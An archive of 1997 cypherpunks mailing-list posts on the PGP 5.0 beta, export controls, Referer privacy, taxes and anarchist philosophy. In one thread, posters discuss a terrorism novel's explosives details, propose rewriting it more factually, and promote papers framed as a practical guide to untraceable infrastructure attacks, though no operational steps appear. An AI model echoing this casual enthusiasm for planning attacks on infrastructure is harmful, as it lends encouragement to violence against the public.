Date: Mon, 19 May 1997 02:07:39 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <3.0.2.32.19970518105324.00ad0cc0@mail.teleport.com>


At 10:11 AM 5/18/97 -0800, Tim May wrote:

>Anyway, I decided to go ahead an take a look at PGP 5.0, the Macintosh
>version (someone said it was only for Windows/NT, but this appears not to
>be so...perhaps by "only" the person meant "no DOS version"?)

Actually I meant no Unix version.  (I tend to ignore the Mac.  I have damn
near everything else at this point...)

My mistake... 

Need more caffiene...

"It is by caffiene alone I set my mind in motion."
---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From ichudov at algebra.com  Sun May 18 11:14:37 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 02:14:37 +0800
Subject: improving reliability of cypherpunks@algebra.com
Message-ID: <199705181807.NAA31088@manifold.algebra.com>


Hi There,

I have come up with a way to reduce latency and improve reliability of
cypherpunks at algebra.com node, by way of tinkering with DNS and mail
aliases at a friendly site.

I plan to implement the new scheme and then seamlessly transfer 
cypherpunks at algebra.com to a better connected host. This transition is
supposed to change NOTHING in the way cypherpunks at algebra.com looks
to its users, subscribers, and peers. It is also supposed to be painless
to the subscribers. Operation of cyperpunks at algebra.com will NOT be 
interrupted at ANY time.

However, whenever computers are involved, there are things that can go
wrong. You will also receive some number of test messages. I hope that
you will understand that and I will take all steps to prevent any 
inconveniences.

Thank you

igor






From nobody at REPLAY.COM  Sun May 18 11:48:14 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 19 May 1997 02:48:14 +0800
Subject: A wee bit of Civil Disobedience
In-Reply-To: <199705171954.MAA17404@fat.doobie.com>
Message-ID: <199705181833.UAA12509@basement.replay.com>


nobody at huge.cajones.com (Huge Cajones Remailer) wrote:

> Want to add a bit of mass civil disobedience to the Crypto movement?
>
> Get alt.binaries.crypto created as a usenet news group.
>
> Why has this not happened already?  This will make an even bigger mockery
> of the ITARs, the EARs, and the other silly regs throughout the world.


Someone newgrouped alt.binaries.warez.crypto a year or two ago.  It never got
any traffic, other than from a few spammers.

OTOH if someone could create something like comp.sources.cryptology, it might
get better reception.






From tcmay at got.net  Sun May 18 12:02:59 1997
From: tcmay at got.net (Tim May)
Date: Mon, 19 May 1997 03:02:59 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: 


At 10:11 AM -0800 5/18/97, Tim May wrote:

>
>I'll have to get it off the Iraqi or Syrian sites.
>

Hey, thanks everyone, no more pointers are needed. My favorite crypto guru
in the Estekhbarat gave me a pointer to his site. Alas, my version of the
Macintosh OS is not recent enough to use this program.

(Funny how most Windows software will run on the 6-year old 3.1, but Mac
software often requires the latest "x.01" rev of the unstable OS. I knew
I'd pay a price for defecting from the Borg.)

Shows you that ordinary compatibility issues are a more effective bar to
world-wide use than the weak attempts by the USG to limit access by
foreigners. When the Estekhbarat has it, you _know_ such controls are
pointless.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mpd at netcom.com  Sun May 18 12:05:15 1997
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 03:05:15 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: 
Message-ID: <199705181853.LAA01875@netcom18.netcom.com>


Tim May writes:

> I'll have to get it off the Iraqi or Syrian sites.

Quite frankly, if PGP is now 5 meg of Lord-knows-what that won't even
execute from a command line under DOS, I think I will stay with version
2.6, whose contents I am familiar with. 

Just another shrink-wrapped box of GAK, until otherwise demonstrated. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From alan at ctrl-alt-del.com  Sun May 18 12:42:51 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 19 May 1997 03:42:51 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: 
Message-ID: <3.0.2.32.19970518122142.00b2c7f0@mail.teleport.com>


At 11:49 AM 5/18/97 -0800, Tim May wrote:
>At 10:11 AM -0800 5/18/97, Tim May wrote:
>
>>
>>I'll have to get it off the Iraqi or Syrian sites.
>>
>
>Hey, thanks everyone, no more pointers are needed. My favorite crypto guru
>in the Estekhbarat gave me a pointer to his site. Alas, my version of the
>Macintosh OS is not recent enough to use this program.
>
>(Funny how most Windows software will run on the 6-year old 3.1, but Mac
>software often requires the latest "x.01" rev of the unstable OS. I knew
>I'd pay a price for defecting from the Borg.)

The reason for this is that the MicroBorg made it too hard to develop for
the latest version of their software.  (Probably in an attempt to kill
off/assimilate Borgland.)  Many people stuck with the old tools instead of
upgrading to the new ones...

I prefer Unix.  At least most tools come with source...  (And the GNU
compilers are a hell of a lot more stable and bug free than their Windows
counterparts.)

>Shows you that ordinary compatibility issues are a more effective bar to
>world-wide use than the weak attempts by the USG to limit access by
>foreigners. When the Estekhbarat has it, you _know_ such controls are
>pointless.

When I want to point out how absurd the whole thing is, I just tell them
about what it takes to get PGP.  Either jump through the hoops in the US or
go to one of many offshore sites and not jump through the hoops.  It also
helps when a couple of the "big name" algorythms are patented/created by
companies outside of the US.  ("Wait.  You mean I can't distribute IDEA
because it might fall into foreign hands?  But it's owned by the Swiss!")

>There's something wrong when I'm a felon under an increasing number of laws.

When will they learn that the reason people have so much disrespect for
laws is that we have so few laws worth respecting?

>Only one response to the key grabbers is warranted: "Death to Tyrants!"

I am waiting for one of these CongressCritters to propose a "Chastity Belt
Key Escrow bill".  Especially for those pages on the Senate floor...
(OBCongressJoke: "Why don't congressmen use bookmarks?  They like their
pages bent over.") I can just imagine the debate on that one!



---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From alan at ctrl-alt-del.com  Sun May 18 12:46:53 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 19 May 1997 03:46:53 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: 
Message-ID: <3.0.2.32.19970518122618.00aa85e0@mail.teleport.com>


At 11:53 AM 5/18/97 -0700, Mike Duvos wrote:
>Tim May writes:
>
>> I'll have to get it off the Iraqi or Syrian sites.
>
>Quite frankly, if PGP is now 5 meg of Lord-knows-what that won't even
>execute from a command line under DOS, I think I will stay with version
>2.6, whose contents I am familiar with. 
>
>Just another shrink-wrapped box of GAK, until otherwise demonstrated. 

Have you noticed that none of the PGP people have posted as of late?  I
wonder if they were among the "purged".

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From azur at netcom.com  Sun May 18 13:02:34 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 19 May 1997 04:02:34 +0800
Subject: Crypto, C4 Explosives, and Destroying the Infrastructure
In-Reply-To: 
Message-ID: 


>However, there are a couple of *obvious* errors. My supposition is that he
>"pulled his punches" a little, choosing to gloss over certain things which
>would have made the "terrorist" essentially impossible to detect. (The most
>glaring error, which he surely knew better about, was to assert that NSA
>could break any cipher if given enough time and computer power.)
>
>I surmise from how he altered factual details about the world of
>cryptography--though masterfully--that he also subtly tweaked some details
>in other areas. I, for example, don't plan to use the cyclotrimethylene
>trinitramine version of C4, allegedly free of the usual odor-producing
>impurities, for any of my sanitization efforts! (He also describes some of
>the flaws in the bombs used in the World Trade Center and Oklahoma City
>bombings...any aspiring terrorist should certainly read this novel for some
>ideas...taking into account the deliberate errors he inserted, as with the
>crypto errors!)
>
>A real explosives expert would see in his detailed descriptions of where
>and how to get the M6 Special Engineer Electrical Blasting Caps and the
>M-112 Charge Demolition Blocks the same kind of subtle tweakings of the
>truth that he put into his convincing descriptions of cryptanalysis.
>

Any intelligent terrorist knows that explosives are old hat.

Perhaps this is an opportunity for CPs to join in and re-write the book
with a more factual basis and outcome, are re-publish on-line.  I volunteer
to OCR.

-Steve







From azur at netcom.com  Sun May 18 13:07:48 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 19 May 1997 04:07:48 +0800
Subject: PGP 5.0 beta problem
In-Reply-To: 
Message-ID: 


Have any other Mac CPs tried using verion 5.0 with CryptDisk?  When the
PGPMenus extension is installed any attempt to open an encrypted volume
generates a "Not enough memory to mount disk" message.  I ahve pleanty of
RAM abd suspect a lack of System memory (e.g., stack space).

--Steve







From ichudov at algebra.com  Sun May 18 13:32:33 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 04:32:33 +0800
Subject: 10855
In-Reply-To: <970518143700_-732029033@emout11.mail.aol.com>
Message-ID: <199705182017.PAA32040@manifold.algebra.com>


Dear Mr. Morris,

Thank you for submitting your unsolicited resume for our consideration.

Our company, Algebra Consulting Services International, does not need 
people with only Windows experience.

We think that exposure to Windows tends to prevent people from properly
developing their brains, and see it as a minus rather than a plus.

The personnel of Algebra Consulting is known for their in-depth
experience with Unix programming and Object-Oriented systems design in
languages like C++, Eiffel and Perl, and has enjoyed substantial revenue
growth in the last decade.

I wish you luck in your endeavours and hope that you can find a Windows
job elsewhere.

Best regards,

	- Igor Chudov, Personnel Director, Algebra Consulting Services Inc.

Noxemail at aol.com wrote:
> 
> 
> Dear Madam or Sir, 
> 
> 
>      I am currently seeking employment with your company and am available
> immediately. I have provided my resume, so that you have the opportunity to
> critique my skills. If interested, or you know someone who might be,
> duplicates of this resume in complete fax form are available by calling
> 602-224-0506 or 602-508-8323. In either case, enter extension #334. You will
> have the option of recieving a complete fax of my resume on that call
> whatever your location, or entering the telephone number to a fax machine of
> your choice if calling from area code 602.
> 
> 
> 
> 
> 
> Andre Morris
> 
> 3 years intense experience: 
> 
> Expert Knowledge of MS Access (Database), Word (Word Processing), Excel
> (Spreadsheet). Visual Basic and Word Basic programming for custom modules and
> procedures in all Office 95 Professional applications.
> 
> Typing 50+  WPM, Data Processing, Proofreading.
> 
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> editing, manipulation, filtration, graphic design. Experience with art
> layout, design, and production of fliers, newsletters, newspapers, brochures,
> manuals, and reports.
> 
> Strong Skills in document imaging, scanning, and image storage. Familiar with
> Postscript printing systems and methods. Optical Character Recognition (OCR)
> via Text Bridge Pro.
> 
> Knowledge of PC hardware, and software. Specialize in PC equipment purchasing
> and system design. Extremely skilled under Windows 95, MS-DOS.
> 
> Knowledge of Internet web page design, site registration, web based
> marketing,  HTML publishing.
> 
> File Management, CD-ROM Storage Solutions, Record Keeping, Database 
> Management.
> 
> 
> 
> 
> 2 years intense experience:
> 
> A self starter, and self motivated. Excellent presentation, project
> management, analytical and people skills. Excellent time management and
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> 
> Gathering of research and information through all available sources including
> FTP, Internet, Usenet, All Local Libraries, Telephone, US Mail, Facsimile,
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> 
> Automated telephone answering system design through Voice FX, including fax
> on demand, voice mailboxes, marketing and promotional messages, fax
> broadcasting.
> 
> Legal Research including A.R.S. and U.S.C., Case Law Research, and Pre Court
> Legal Case Compilation.
> 
> Drafting of correspondence, letters, monthly reports, system administration
> and management Reports, departmental reporting, discipline and performance
> reviews, and in house communications.
> 
> Project Design, Scheduling, Purchasing.
> 
> 
> 
> 
> 2 years advanced study:
> 
> Marketing: Creative Writing, Journalism, Direct Mail, Media Relations,
> display ad creation, classifieds and free ad marketing.
> 
> General Accounting: Payroll, Trust and Estate Planning, Budgeting, General
> Ledger, invoice and payment processing, state and federal tax.
> 
> Incorporation: Local and Federal Trademark and Tradename filings, logo
> development, Patent research and application, Copyright application.
> 
> Overseas Relations: Expert into the culture and business practices of the
> United Kingdom. Import/Export, shipping regulations and customs duty,
> establishing a sales base and corporate foothold in the UK, in depth
> knowledge into marketing and purchasing habits of UK residents, contacts and
> connections in UK business areas.
> 
> Charity: Knowledge of Charitable Foundations, 501( C )3 corporations, and
> Private foundations. Ability to work with and manipulate IRS regulations
> concerning charities, registrations of charities and charitable activities
> within the state of Arizona. In depth knowledge of local charitable
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> 
> Other Misc. Experience and Abilities: Personal Physical Fitness Training,
> Print and Television Modeling, Personal Grooming, Photography, Martial Arts.
> 
> 
> 
> 
> Professional Character
> 
> The compilation and study of famous jokes and quotations. 
> 
> Study and appreciation of fine art, including paintings, cathedrals, and
> stone statues.
> 
> Interest in the works of Mozart, Vivaldi, Beethoven, Bach.
> 
> Demanding quality in every aspect of personal life, and professional career.
> 
> 
> 
> 
> Experiences to Note
> 
> I have recently returned from London, England. The cultural, artistic,
> reasoning, logical, and analytical skills that I have learned from this are
> immeasurable.  Having socialized and developed friendships with individuals
> from around the world including Italy, South Africa, Spain, Canada, USA,
> Sweden, Switzerland, Turkey, Ireland, and more has given me a tremendous
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> NOTE: This message has been sent to you anonymously. If you wish to reply to
> this resume with an offer of employment, please do so via the contact
> information provided on the resume itself. 
> 
> This service has been deployed to protect job seekers from potential email
> abuse.
> 
> 
> 
> 
> 



	- Igor.






From hal at rain.org  Sun May 18 13:42:03 1997
From: hal at rain.org (Hal Finney)
Date: Mon, 19 May 1997 04:42:03 +0800
Subject: referers and W3 (fwd)
Message-ID: <199705182021.NAA04042@crypt.hfinney.com>


Rich Graves, , writes:
> A friend who webmasters a large site that is implementing referer-specific
> content sent me this when I mentioned the cpunks/cryptography thread of a
> few months back. I basically agree with the W3C. While user education on the
> potential privacy threat is essential, I do not believe that Netscape should
> violate published technical standards. There are also privacy and property
> issues from the server's perspective.

I'm not sure what Netscape action you are referring to, but if it is
giving the users the option to block the Referer tag, RFC2068, which is
HTTP/1.1, already endorses this:

     Note: Because the source of a link may be private information or
     may reveal an otherwise private information source, it is strongly
     recommended that the user be able to select whether or not the
     Referer field is sent. For example, a browser client could have a
     toggle switch for browsing openly/anonymously, which would
     respectively enable/disable the sending of Referer and From
     information.

and later:

   We suggest, though do not require, that a convenient toggle interface
   be provided for the user to enable or disable the sending of From and
   Referer information.

I use Eric Murray's fine "cookie jar" privacy program when I am web
browsing on my Linux system (http://www.lne.com/ericm/cookie_jar/).
It blocks cookies and advertisements via a very flexible config file
mechanism.  It also eliminates other privacy-revealing outgoing data,
including Referer, and could be easily modified to play all kinds of
games with Referer for the adventurous.

In the news recently, Ticketron is blocking links from some Microsoft
affiliated sites due to a disagreement about licensing.  I don't know the
details of how it is done technically, but possibly it is done by looking
at the Referer tag to see if the user linked from the Microsoft site.
If so, this would be a good example of the browser sending information
which is detrimental to the user.

Hal






From vznuri at netcom.com  Sun May 18 14:22:01 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Mon, 19 May 1997 05:22:01 +0800
Subject: Just Say "No" to Congress
In-Reply-To: 
Message-ID: <199705182104.OAA20232@netcom14.netcom.com>



R.A.:
>You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
>gets taken out of every pay check before you even see it.   Then, come 
>April 15, you fill a piece of paper out with the hope you'll get some of 
>it back.  But sometimes, Uncle Sam takes even more.

right. and those who do nothing to change this, certainly can't expect
that it will ever change.  but in fact it *has* changed before. it
wasn't always the case that money was withhold. this law was introduced
during WWII as I understand it.

is it true that something that can be done cannot be undone? or can
the withholding tax be undone just as it was done? a certain amount
of energy was expended in creating the situation that we find ourselves
in-- decades of entrenchment. I submit that exactly the same amount
of energy applied to the problem can *undo* it. it's a simple concept
of conservation of energy. granted, a lot of energy is involved, I don't
deny that. but *no* energy will get you absolutely nowhere. 

what others are claiming is that no amount of energy will change
anything, so why bother? indeed, why bother with your life at all?
perhaps suicide is the easiest and ultimate solution for people who
think this way. there are things in your life that you think you
can change, right? why is the tax system not included in that category?
I agree, one person cannot change the system. do not give me examples
where one person failed. this is conservation of peoplehood; if many
people were involved in its creation, than many must be involved in
its destruction.

T.M.:
>As for my being hypocritical, Detweiler is free to think whatever he
>thinks. If and when I go down in a shootout with the fascists, I expect
>it'll be over something more dramatic than not paying my taxes.

just out of curiosity timmy, what would you think is more likely?

>> ok truthmonger, after someone has stolen your money, do you
>> report it to the police, or do you just sit around and
>> curse the evildoer? what is your response when your money
>> is stolen?
>
>  I kiss it goodbye and forget about it.

oh really? here are some questions that anyone can ask about
why their money was stolen.

1. who is the person who stole my money?
2. why did they steal it?
3. what could prevent it from being stolen?
4. what can I do to protect my money from being stolen?


government construction is an *engineering* problem. you cannot
build something without putting thought and labor into it.
I believe that if cpunks put their mind to it, they could create
a better system than we now have-- and it wouldn't be anarchy (which
is no system at all).

truthmonger:
>I've lost a few thousand dollars worth of goods to thieves,
>but criminal cops have cost me tens of thousands of dollars in
>the legal system.
>

what if you showed up on the doorstep of a politician of your choice
who you thought was stealing money from you? what if not only you
but many people did this? would the government change? would they
shoot you?


I don't buy into the alienation and cynicism on this list peddled
by TCM, truthmonger, et.al., and I suggest that anyone else who
does is selling themself short, and in fact part of the problem and
not the solution.






From 0005514706 at mcimail.com  Sun May 18 14:39:05 1997
From: 0005514706 at mcimail.com (Michael Wilson)
Date: Mon, 19 May 1997 05:39:05 +0800
Subject: Crypto, C4 Explosives, and Destroying the Infrastructure
Message-ID: <97051821294147/0005514706DC2EM@mcimail.com>


Tim May wrote:
>However, there are a couple of *obvious* errors. My supposition is that he
>"pulled his punches" a little, choosing to gloss over certain things which
>would have made the "terrorist" essentially impossible to detect. (The most
>glaring error, which he surely knew better about, was to assert that NSA
>could break any cipher if given enough time and computer power.)

I would assume that anyone considering the potential of infrastructural
warfare attacks in a dramatic setting would have to handicap the moves
of the opposition force--the mechanisms of tradecraft in the modern
age are such that the anti- and counter-terror forces are whistling
in the dark as they pass the graveyard.

Steve Schear wrote:
>Any intelligent terrorist knows that explosives are old hat.
>Perhaps this is an opportunity for CPs to join in and re-write the book
>with a more factual basis and outcome, are re-publish on-line.  I volunteer
>to OCR.

The modern terrorist or opposition force will use whatever makes them
the most effective--if that means, on the cost/benefit curve, that
they use explosives, then by all means they will.  Terrorism evolves
under pressures much the way any other social element does; in this
case, evolutionary pressures are those of environment and predators.
As the security increases or improves, terrorists have historically
advanced as well (guns to explosives when airport security improved,
and the coming shift to chemical or biological weapons, as thermal
neutron analysis comes on-line).  Predators, such as intelligence or
law enforcement, merely serve to cull the herd a bit, which is why
you see fewer but more effective terrorist attacks, even as narrowly
defined in the recent U.S. State Dept. reports.  As for publication or
other expansion on the subject matter, let me point out my own work on
the topic (always pro strong crypto, pro cypherpunks, incidentally).

Infrastructural warfare is a field that should interest cypherpunks--
it has been my strongest argument for getting government out of the
security and cryptography business for a number of years now.  Feel
free to reference the URL:

		http://www.geocities.com/CapitolHill/4843/

Particularly of interest to cypherpunks (or anyone with an interest
in how to run an untraceable opposition force that could give most of
the infrastructure a good thrashing):

Waging IWAR (1997)
>From the Introduction:
"So as not to alarm the reader, let me advise you that this paper is
intended as an informal presentation of the material, very much in the
spirit of 'let us conspire!' What has been sorely lacking in
treatments of the infrastructural warfare (IWAR) subject matter has
been a practical, personal approach of thinking about, planning, and
waging IWAR operations. Given the nature of most of the professionals
acting as documentarists, the published materials are strong on theory
and speculation, and short on practical guidelines. I shall attempt to
begin to fill that gap, and I hope the reader will accept a temporary
'partnership in crime' as we work through the problems facing an
opposition force (OpFor) together.

This paper is be broken into four sections:
-Definitions, assumptions, and theory; the conceptual basis of
IWAR is important to review;
-Exploration of OpFor as a practical matter;
-A set of IWAR potential operations, for which I have chosen a
variety of examples;
-Defense-In-Depth, battling IWAR."

Infrastructural Warfare Threat Model (1997)
Abstract:
A threat model is essential to proving the validity of the threat
posed by infrastructural and information warfare (I2WAR); exploration
of the scope/activities of the threat are essential to understanding
the threat and mounting a defense against it. An opposition force' is
postulated and explored for its intent, organization, communications,
recruiting, armament, intelligence gathering and analysis, and
funding. A methodology for defining the infrastructure and
dependencies is proposed. I2WAR is defined as conflict oriented around
denial of service attacks on physical infrastructure elements
(including targets such as communications, public utilities, financial
organizations, transportation mechanisms, public facilities/events,
emergency management services, commerce, and government), denial of
service attacks on virtual' infrastructure elements (information
warfare), psychological warfare operations (attacks on decision
processes), and technologically augmented political warfare
(agitation, subversion, rioting; propaganda). Conclusions are drawn,
including suggestions for a defense-in-depth.

Battle for the Soul of Information Warfare: Pearl Harbor vs. the
Hashishim (1997)
Abstract:
Infowar has at least two distinct camps, each operating with different
basic assumptions on the threat. As these assumptions are critical to
threat modeling and defense strategies, comparing the differences is
essential. The assumptions of the Pearl Harbor' mass denial-of-service
infowar attack are contrasted with those of the Hashishim,' subtle
efforts of perversion; the historical case is presented to demonstrate
the reasoning regarding the labels. Contrasted are assumptions
regarding opposition force approach, intent, focus, targets, scale of
attack, resources of opposition force, management, command and
control, organization, funding, intelligence, defensive focus, and
political view of the problem.

Considering the Net as an Intelligence Tool (1996)
An exploration of the fitness of the net for intelligence gathering
and operational support; this is usually an assumption made by many of
the theorists on the subject, but I thought a detailed explanation
worth engaging in.

Michael Wilson
5514706 at mcimail.com






From nobody at huge.cajones.com  Sun May 18 15:51:52 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 19 May 1997 06:51:52 +0800
Subject: Nature of Anarchy/ Anarchy of Nature
Message-ID: <199705182225.PAA03246@fat.doobie.com>



Sunday, May 18, 1997 - 20:46:37 MET

Our form of gov't is based on the Judeo-Christian rooted belief in 
unalienable rights. (though the concepts has been around long befor 
judaism) These are rights endowed upon us by the life force, they are 
inherent in our  creation and are subject only to the laws of the 
universe not by any king, or human leader, and so they cannot be 
taken away by or infringed on by any human leader or groups.


The whole of the physical universe is bound by laws we do not make 
but can only seek to understand. Tuning in and acting in harmony with 
the laws of the universe furthers us in our development( ie 
agriculture).  Exploiting the laws greedily leads to our 
destruction.(ie thoughtless industrialization). Furthering 
nature/the life force is good, opposing nature, seeking to conquer 
and exploit it, is  bad from our human perspective.


The constitution and bill of rights was the original AP document with 
a series of checks and balance designed to keep  ultimate power, 
the right to speak out, organise, gather together, rise up and bear 
arms, in the hands of the people so no one group could impose the 
tyranny of their beliefs and the masses. I believe it is human nature 
to cast off the bonds of oppression. This is the assertion of the 
life force that always seeks to sustain and perpetuate itself in the
greatest possible array of diversity.


I believe this was a major quantum leap in the history of  human 
thought and concioussness. A giant step in the right direction of our 
true divinity but it was sorely flawed; By the concept of property 
rights. This is where the founding fathers eogos got in the way. 

The liberation movements of the last century have been based on the 
same concept of unalienable rights and have attempted to fine tune 
the document for  a more equitable distribution of planet power to 
correct the flaw.

You don't need a weatherman or a clinton to know which way the wind
blows. You don't need to be literate to know who is taking what from
whom. You don't need a judge to tell you right from wrong. you have 
instincts that can tell you just fine. 

Religion in the earliest sense was the bringing together of the group 
in an understanding of their commonanlity and uniqueness in a way 
that  stirred up ones feelings of awe for the power of the universe 
in order that we would discover our commonality while at the same 
time instilling a repect for each of our uniqness. So we could be 
inspired to submit to our inner and outer natures and act in harmony 
with it and show benevolence in our relations with each other. This 
is the ultimate anarchist, a ninja warrior of natures rainbow, who 
fights to defend the unalienable rights endowed on all by life force.

I believe that most of the folks on this list aspire to a form of 
self govt. A belief and trust in the anarchy of nature tempered with 
the benevloence brought about by the recognition of our common 
humanity. A state of affairs where each is a ninja/captain of their 
own soul.  Who recognize the inhernet rights of all and act 
accordingly without coercion or direction from an outside source, for 
the laws of the universe are within us. Who respect the rights of the 
individual and can let them that would destroy themselves destroy, 
themselves and them that would live to live. To live and let live and 
live and let die.


I believe the network is the link to the next level of evolution of 
human thought and self gov't. A new religion where we can rediscover 
our common humanity and regroup as a planet, as the one human tribe.  
A way to explore our comon roots and learn and develop appreciation 
and respect for our differences. Where in spite of all efforts to propagandize 
and spread hate our commanality will emerge. Where all voices can be 
heard and equitable solutions worked out. Not by "sheeple" but by 
people allowing their primal natural instincts to govern their 
actions to be it to  shun, support or defend or defeat someone or 
something.


We are retaking repsonsibility for our selves and our fellow humans. 

Again, you don't need a Weatherman or an FBI man to know which way 
the wind blows. Look outside your window then look inside your 
window. 



Rainbow Warrior 









From mixmaster at remail.obscura.com  Sun May 18 16:03:01 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 19 May 1997 07:03:01 +0800
Subject: No Subject
Message-ID: <199705182203.PAA19230@sirius.infonex.com>


Sunday, May 18, 1997 - 20:46:37 MET

Our form of gov't is based on the Judeo-Christian rooted belief in 
unalienable rights. (though the concepts has been around long befor 
judaism) These are rights endowed upon us by the life force, they are 
inherent in our  creation and are subject only to the laws of the 
universe not by any king, or human leader, and so they cannot be 
taken away by or infringed on by any human leader or groups.


The whole of the physical universe is bound by laws we do not make 
but can only seek to understand. Tuning in and acting in harmony with 
the laws of the universe furthers us in our development( ie 
agriculture).  Exploiting the laws greedily leads to our 
destruction.(ie thoughtless industrialization). Furthering 
nature/the life force is good, opposing nature, seeking to conquer 
and exploit it, is  bad from our human perspective.


The constitution and bill of rights was the original AP document with 
a series of checks and balance designed to keep  ultimate power, 
the right to speak out, organise, gather together, rise up and bear 
arms, in the hands of the people so no one group could impose the 
tyranny of their beliefs and the masses. I believe it is human nature 
to cast off the bonds of oppression. This is the assertion of the 
life force that always seeks to sustain and perpetuate itself in the
greatest possible array of diversity.


I believe this was a major quantum leap in the history of  human 
thought and concioussness. A giant step in the right direction of our 
true divinity but it was sorely flawed; By the concept of property 
rights. This is where the founding fathers eogos got in the way. 

The liberation movements of the last century have been based on the 
same concept of unalienable rights and have attempted to fine tune 
the document for  a more equitable distribution of planet power to 
correct the flaw.

You don't need a weatherman or a clinton to know which way the wind
blows. You don't need to be literate to know who is taking what from
whom. You don't need a judge to tell you right from wrong. you have 
instincts that can tell you just fine. 

Religion in the earliest sense was the bringing together of the group 
in an understanding of their commonanlity and uniqueness in a way 
that  stirred up ones feelings of awe for the power of the universe 
in order that we would discover our commonality while at the same 
time instilling a repect for each of our uniqness. So we could be 
inspired to submit to our inner and outer natures and act in harmony 
with it and show benevolence in our relations with each other. This 
is the ultimate anarchist, a ninja warrior of natures rainbow, who 
fights to defend the unalienable rights endowed on all by life force.

I believe that most of the folks on this list aspire to a form of 
self govt. A belief and trust in the anarchy of nature tempered with 
the benevloence brought about by the recognition of our common 
humanity. A state of affairs where each is a ninja/captain of their 
own soul.  Who recognize the inhernet rights of all and act 
accordingly without coercion or direction from an outside source, for 
the laws of the universe are within us. Who respect the rights of the 
individual and can let them that would destroy themselves destroy, 
themselves and them that would live to live. To live and let live and 
live and let die.


I believe the network is the link to the next level of evolution of 
human thought and self gov't. A new religion where we can rediscover 
our common humanity and regroup as a planet, as the one human tribe.  
A way to explore our comon roots and learn and develop appreciation 
and respect for our differences. Where in spite of all efforts to propagandize 
and spread hate our commanality will emerge. Where all voices can be 
heard and equitable solutions worked out. Not by "sheeple" but by 
people allowing their primal natural instincts to govern their 
actions to be it to  shun, support or defend or defeat someone or 
something.


We are retaking repsonsibility for our selves and our fellow humans. 

Again, you don't need a Weatherman or an FBI man to know which way 
the wind blows. Look outside your window then look inside your 
window. 



Rainbow Warrior 









From whgiii at amaranth.com  Sun May 18 16:27:08 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 19 May 1997 07:27:08 +0800
Subject: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705182225.PAA03246@fat.doobie.com>
Message-ID: <199705182306.SAA18618@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705182225.PAA03246 at fat.doobie.com>, on 05/18/97 at 04:25 PM,
   nobody at huge.cajones.com (Huge Cajones Remailer) said:


[New Age Snip]

>I believe this was a major quantum leap in the history of  human  thought
>and concioussness. A giant step in the right direction of our  true
>divinity but it was sorely flawed; By the concept of property  rights.
>This is where the founding fathers eogos got in the way. 

>The liberation movements of the last century have been based on the  same
>concept of unalienable rights and have attempted to fine tune  the
>document for  a more equitable distribution of planet power to  correct
>the flaw.

 There is a fundamental fact of politics/economics that a socialist
economy and a democratic political structure can not co-exsist.

The concept of property rights is not a flaw but the foundation on which
the constitution and this country is built on. Without the ability to
controll ones own property all other rights fall by the wayside.

I sugest reading "The Wealth of Nations" by Adam Smith for a better
understanding of Capitalism and why it is the *only* economic model that
works for a free society.


[More New Age Sniped]

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you spell relief? OS/2!

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From tomw at netscape.com  Sun May 18 16:55:22 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Mon, 19 May 1997 07:55:22 +0800
Subject: referers and W3 (fwd)
In-Reply-To: 
Message-ID: <337F9366.167E@netscape.com>


Rich Graves wrote:
> 
> A friend who webmasters a large site that is implementing
